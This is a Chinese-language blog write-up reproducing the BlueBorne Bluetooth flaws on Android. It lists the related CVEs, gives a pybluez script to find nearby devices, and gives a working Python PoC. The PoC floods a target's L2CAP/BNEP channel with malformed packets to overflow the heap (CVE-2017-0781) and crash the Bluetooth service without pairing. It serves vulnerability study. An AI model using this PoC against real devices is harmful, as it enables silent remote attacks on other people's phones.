BlueBorne蓝牙漏洞 for Android复现

0x01 漏洞背景

Armis Labs披露了一个攻击向量,使得搭载主流移动,桌面,IoT操作系统包括Android, iOS, Windows, Linux系统的设备均受其影响。

* CVE-2017-1000250 Linux bluetoothd进程信息泄露
* CVE-2017-1000251 Linux 内核栈溢出
* CVE-2017-0785 Android com.android.bluetooth进程信息泄露
* CVE-2017-0781 Android com.android.bluetooth进程堆溢出
* CVE-2017-0782 Android com.android.bluetooth进程堆溢出

0x02 测试环境

1、Android手机 红米Note
2、Android版本 MIUI8 with Android4.4.4
3、Kali2

0x03 POC复现

由于python缺少bluetooth模块,通过pip install pybluez安装。先编写python脚本查找附近蓝牙设备

import bluetooth

nearby_devices = bluetooth.discover_devices(lookup_names=True)
print("found %d devices" % len(nearby_devices))

for addr, name in nearby_devices:
    print("  %s - %s" % (addr, name))

查找到目标手机蓝牙MAC地址后,编写poc.py

import bluetooth,sys

def poc(target):

    pkt = '\x81\x01\x00'+ '\x41'*8 

    sock = bluetooth.BluetoothSocket(bluetooth.L2CAP)

    sock.connect((target, 0xf))

    for i in range(1000):

        sock.send(pkt)
        data = sock.recv(1024)

    sock.close()

if __name__ == "__main__":

    if len(sys.argv) < 2:
        print 'No target specified.'
        sys.exit()

    target = sys.argv[1]
    poc(target)

POC中通过BluetoothSocket建立与对方的L2CAP连接,然后我们在建立的L2CAP连接之上向对方发送bnep协议数据包。PoC的效果就是会用8个字节"A"覆盖堆中的某些数据。我们通过发送1000个构造的畸形数据包到对方,那么极有可能这其中就会覆盖到某些重要数据,导致蓝牙服务程序发生内存访问错误崩溃。

运行poc.py,目标为刚才查找到的MAC地址

运行POC之后,通过adb logcat查看测试手机的日志

手机接收到大量bnep协议的畸形数据包,导致缓冲区溢出,程序崩溃

POC使用的漏洞为CVE-2017-0781远程代码执行漏洞,触发此漏洞根本不需要任何用户交互,身份验证或者配对,因此target用户完全无法察觉正在进行的攻击。



参考链接:

https://xianzhi.aliyun.com/forum/read/2287.html
http://bobao.360.cn/learning/detail/4495.html
https://github.com/marsyy/littl_tools/tree/master/bluetooth

返回文章列表 文章二维码
本页链接的二维码
打赏二维码